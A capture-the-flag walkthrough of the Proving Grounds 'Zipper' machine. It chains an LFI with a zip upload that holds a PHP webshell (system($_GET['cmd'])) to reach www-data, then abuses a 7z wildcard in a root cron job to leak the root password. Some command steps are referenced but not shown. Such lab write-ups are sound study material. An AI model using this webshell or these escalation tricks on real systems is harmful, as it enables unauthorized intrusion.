Zipper Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
Zipper chains a file upload with a local file inclusion to execute PHP smuggled inside a zip archive through the zip:// wrapper, for a shell as www-data. A root cron job that compresses uploads with 7z is then tricked, via a symlink and a crafted list file, into leaking a root-owned secret that doubles as the root password.
Reconnaissance
Nmap
Scan the target.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp open http Apache httpd 2.4.41 (Ubuntu) - "Zipper" 873/tcp open rsync
Explain command
| -sCV | Run the default scripts and probe service versions. |
The web app on port 80 has an upload page. Its home link reveals how pages are loaded.
Exploitation
LFI discovery
The home button links to index.php?file=home, and .php is appended automatically to whatever the file parameter holds. Confirm it with the PHP filter wrapper to read the script’s own source.
<?php
$file = $_GET['file'];
if(isset($file)) { include("$file".".php"); }
else { include("home.php"); }
?>
Confirmed: the include always appends .php, which normally would block including a raw payload file. The upload feature plus zip archives gets around that.
LFI + zip upload RCE
Create a small PHP backdoor.
<?php echo system($_GET['cmd']); ?>
Upload it through the web app’s upload feature, which stores it inside a zip archive under uploads/.
uploads/upload_1627661999.zip
Include the zipped PHP file through the LFI using PHP’s zip:// wrapper, which does not require a .php extension on the archive member itself.
www-data
Code execution confirmed. Host a reverse-shell script and trigger it the same way.
www-data@zipper:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as www-data and local.txt.
Privilege Escalation
7z wildcard injection in a root cron job
A root cron job runs a backup script every minute.
* * * * * root bash /opt/backup.sh
#!/bin/bash password=`cat /root/secret` cd /var/www/html/uploads rm *.tmp 7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
The script compresses every *.zip in the uploads directory with 7za, using /root/secret as the archive password. The unquoted wildcard is exploitable: 7z’s listfile feature can be abused to force it to read an arbitrary file and leak it into the error log. Create a symlink to the secret named like a zip file, and a matching listfile marker for it.
Prefixing enox.zip with @ makes 7z treat it as a listfile. Since the target of the symlink is not itself a valid zip filename pattern, 7z emits an error naming the resolved path. Wait for the cron job to fire, then read the log.
/root/secret : $ROOT_PASSWORD
The leaked value is also the root password.
Password: $ROOT_PASSWORD root@zipper:/var/www/html/uploads# id uid=0(root) gid=0(root) groups=0(root)
The 7z wildcard trick leaks the root secret, which doubles as a valid login, giving a root shell.
Related
References
-
HackTricks - Wildcards Spare Tricks (7z)TOOL: HackTricks - Wildcards Spare Tricks (7z), book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks#7z (opens in new tab)
7z wildcard listfile abuse to force an arbitrary file read into an error message.
-
HackTricks - LFI via Zip File UploadTOOL: HackTricks - LFI via Zip File Upload, book.hacktricks.xyz/pentesting-web/file-inclusion#via-zip-fie-upload (opens in new tab)
LFI to RCE by including a PHP payload inside an uploaded zip via the zip:// wrapper.